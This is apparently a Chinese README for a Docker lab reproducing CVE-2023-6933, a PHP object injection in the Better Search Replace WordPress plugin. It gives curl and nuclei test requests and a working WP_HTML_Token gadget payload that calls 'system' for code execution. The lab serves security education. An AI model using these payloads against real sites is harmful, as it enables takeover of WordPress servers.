本实验环境演示了 CVE-2023-6933,这是 Better Search Replace WordPress 插件版本 ≤1.4.4 中的一个严重 PHP 对象注入漏洞。
/wp-admin/admin-ajax.php,动作 search_replace_db# 克隆仓库
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# 使用 Docker Hub 镜像部署(自动拉取)
docker-compose up -d
实验环境将自动:
trex999/vulnerable-bsr-lab:latest)# 运行自动化 PoC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# 通过 curl 手动测试
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Better Search Replace 插件在其 AJAX 处理程序中存在 PHP 对象注入漏洞。漏洞发生于:
/wp-admin/admin-ajax.php 的 search_for 参数search_replace_db我们的 nuclei 模板通过多个验证阶段演示了该漏洞:
nuclei 模板(nuclei-templates/cve-2023-6933.yaml)采用专业结构:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
PoC 成功:
⚠️ 警告:此环境包含故意引入的易受攻击软件。仅限在隔离的测试环境中使用。请勿部署到生产环境或可访问互联网的系统。
docker-compose down -v
创建用于教育和安全研究目的
Docker_LAB_SETUP/)cve_2023_6933_exploit.php - 全面的 PHP 利用工具包wp_html_token_poc.php - WordPress 6.4.0+ RCE 演示bsr_direct_exploit.php - 直接漏洞测试nuclei-templates/cve-2023-6933.yaml - 高级 nuclei 模板manual-test.sh - 全面的手动测试脚本本实验环境展示了一种不依赖错误信息的检测方法,遵循漏洞研究的最佳实践:
我们的工具不依赖 HTTP 500 错误,而是检测:
利用 WordPress 6.4.0+ 的 WP_HTML_Token 类实现实际 RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# 测试基本插件存在性
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# 使用安全载荷测试漏洞
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| 服务 | URL | 凭证 |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |
本实验环境提供以下方面的动手实践:
作者:Trex
实验环境版本:2.0 - 增强的 PoC 方法